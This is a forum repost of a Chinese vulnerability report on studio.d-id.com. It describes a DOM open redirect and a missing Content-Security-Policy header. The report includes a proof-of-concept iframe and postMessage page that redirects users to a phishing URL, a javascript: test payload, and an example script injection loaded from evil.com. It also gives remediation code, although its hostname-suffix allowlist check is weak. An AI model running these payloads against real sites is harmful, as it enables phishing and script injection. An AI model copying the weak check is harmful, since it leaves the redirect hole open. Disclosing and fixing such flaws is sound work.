安全漏洞验证陈诉

张裕  金牌会员 | 2025-3-19 00:29:53 | 显示全部楼层 | 阅读模式
打印 上一主题 下一主题

主题 670|帖子 670|积分 2010



安全漏洞验证陈诉

目的体系:https://studio.d-id.com
测试时间:2025-02-22
陈诉版本:2.0
发现者:Neatsuki
漏洞概览

漏洞类型风险品级CVSS 3.1CWE-ID状态DOM型开放重定向高危7.1CWE-601未修复CSP战略缺失中危5.5CWE-16未修复
漏洞详情

1. DOM型开放重定向

漏洞描述

前端代码未对 redirect 参数的目的域名进行校验,导致攻击者可通过构造恶意链接或结合 postMessage 跨域消息触发恣意域名跳转。
复现步骤


  • 构造恶意页面
    1. <iframe id="malicious-iframe" src="https://studio.d-id.com"></iframe>
    2. <script>
    3.   setTimeout(() => {
    4.     document.getElementById("malicious-iframe").contentWindow.postMessage({
    5.       type: "redirect",
    6.       url: "https://studio.d-id.com/?redirect=https://phishing.com
    7. "
    8.     }, "*");
    9.   }, 3000);
    10. </script>
    复制代码
  • 用户访问恶意页面
    等候3秒后,主页面主动跳转至 https://phishing.com。
影响证明



  • 网络哀求跟踪
    1. GET /?redirect=https://phishing.com HTTP/2
    2. Host: studio.d-id.com
    复制代码
  1. - **浏览器控制台日志**:  
  2.   ```javascript
  3.   > window.location.href
  4.   < "https://phishing.com"
复制代码

2. CSP战略缺失

漏洞描述

目的体系未设置 Content-Security-Policy 响应头,允许攻击者注入外部脚本或通过内联脚本实行恶意代码。
复现步骤


  • 发送HTTP哀求验证CSP头
    1. curl -I https://studio.d-id.com | grep "Content-Security-Policy"
    2. # 无返回结果
    复制代码
  • 构造XSS测试Payload
    1. history.replaceState(null, null, '?redirect=javascript:alert(document.domain)');
    2. location.reload();
    复制代码
    结果

    • 浏览器拦截 javascript: 协议实行,但若存在其他注入点(如动态脚本加载),风险仍存在。

影响证明



  • 潜在攻击场景
    若存在其他未过滤的输入点(如动态加载脚本),攻击者可注入:
    1. <script src="https://evil.com/exploit.js"></script>
    复制代码

修复发起

1. DOM型开放重定向

前端修复

  1. const ALLOWED_DOMAINS = ["d-id.com", "trusted.com"];
  2. const ALLOWED_PROTOCOLS = ["http:", "https:"];
  3. function safeRedirect(url) {
  4.   try {
  5.     const target = new URL(url, window.location.origin);
  6.     if (
  7.       !ALLOWED_PROTOCOLS.includes(target.protocol) ||
  8.       !ALLOWED_DOMAINS.some(domain => target.hostname.endsWith(domain))
  9.     ) {
  10.       throw new Error("非法重定向目标");
  11.     }
  12.     window.location.href = target.href;
  13.   } catch (error) {
  14.     console.error("安全拦截:", error.message);
  15.     history.replaceState(null, "", window.location.pathname);
  16.   }
  17. }
  18. // 调用示例
  19. const redirectParam = new URLSearchParams(location.search).get("redirect");
  20. if (redirectParam) safeRedirect(redirectParam);
复制代码
服务端修复

  1. # 拦截非法域名和协议
  2. if ($arg_redirect !~* "^https?:\/\/([a-z0-9-]+\.)?d-id\.com") {
  3.   return 403;
  4. }
复制代码

2. CSP战略缺失

设置强制CSP头

  1. Content-Security-Policy:
  2.   default-src 'none';
  3.   script-src 'self' 'nonce-{RANDOM}';
  4.   style-src 'self' 'unsafe-inline';
  5.   img-src 'self' data:;
  6.   connect-src 'self';
  7.   form-action 'self';
  8.   navigate-to 'self' https://*.d-id.com;
  9.   report-uri /csp-report;
复制代码

漏洞验证阐明


  • 开放重定向复测
    访问修复后的链接应保持当前页面:
    1. https://studio.d-id.com/?redirect=https://phishing.com
    复制代码
    控制台需显示拦截日记:
    1. 安全拦截: 非法重定向目标
    复制代码
  • CSP见效验证
    1. curl -I https://studio.d-id.com | grep "Content-Security-Policy"
    2. # 应返回配置的CSP头
    复制代码

附录

测试工具与参考

工具/标准用途Burp Suite Pro流量截获与漏洞验证OWASP ZAP主动化扫描OWASP Top 10漏洞分类参考
陈诉编制:Neatsuki
审核:null
发布日期:2025-02-23

此陈诉仅包罗已验证成功的漏洞,全部修复发起均基于实际复现结果。发起在 48小时内 完成高危漏洞修复,并通过第三方渗出测试确认修复效果。

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

张裕

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表